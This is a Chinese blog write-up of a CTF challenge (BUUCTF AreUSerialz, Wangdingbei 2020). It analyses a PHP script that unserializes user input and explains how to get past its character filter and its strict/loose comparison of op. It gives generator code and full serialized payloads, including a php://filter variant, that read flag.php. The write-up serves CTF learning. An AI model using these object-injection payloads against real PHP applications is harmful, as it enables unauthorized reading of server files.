BUUCTF学习笔记-AreUSerialz 网鼎杯 2020 青龙组

AreUSerialz


题目是一串PHP

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

经过分析,这个题目需要传入一个序列化之后的类对象,并且要绕过两层防护:

两层防护:

is_valid()

要求我们传入的str的每个字母的ascii值在32和125之间。因为protected()属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。

**绕过方法:**因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

destruct()魔术方法

在 destruct()函数中,op===“2”,是强比较,反序列化过程中需要调用

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process(); #同时content为空,再调用process()方法
    }

而在process()函数中,op=="2"是弱比较

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

查看该方法可知,如果op == "1",则会进入write()方法,显然不是我们预期的结果,op == “2”,就会进入read()方法,正是我们的目的,值得注意的是,在这个方法中的比较是弱类型比较,也就是说如果将op赋值为int类型的2,则op === "2"为false,op == "2"为true,正好达到了我们的目的,进入了read()方法

**绕过方法:**可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true.

<?php
$op=2;
$oop='2';
if($op==="2")
	echo "数字2与字符2强比较成功";
else
	echo "数字2与字符2强比较失败";
echo "\n";
if($op=="2")
 	echo "数字2与字符2弱比较成功";
else
	echo "数字2与字符2弱比较失败";
?>

进行序列化操作

<?php
class FileHandler {
    public  $op = 2;
    public  $filename = "flag.php";
    public  $content = "1";        //因为destruce函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>

运行得到

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

创建playload,注意添加?str=

url/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

F12就找到flag
在这里插入图片描述

伪协议

<?php
class FileHandler {
 
    public $op = 2;
    public  $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public  $content = "2"; 
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>

运行之后得到

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:1:"2";}

创建playload,还是 url/?str=

url/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:1:"2";}

解出base64即可得到flag
在这里插入图片描述
在这里插入图片描述
这里推荐本地解码工具:CyberChef
不管线上线下比赛都可以用
提供众多编码
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值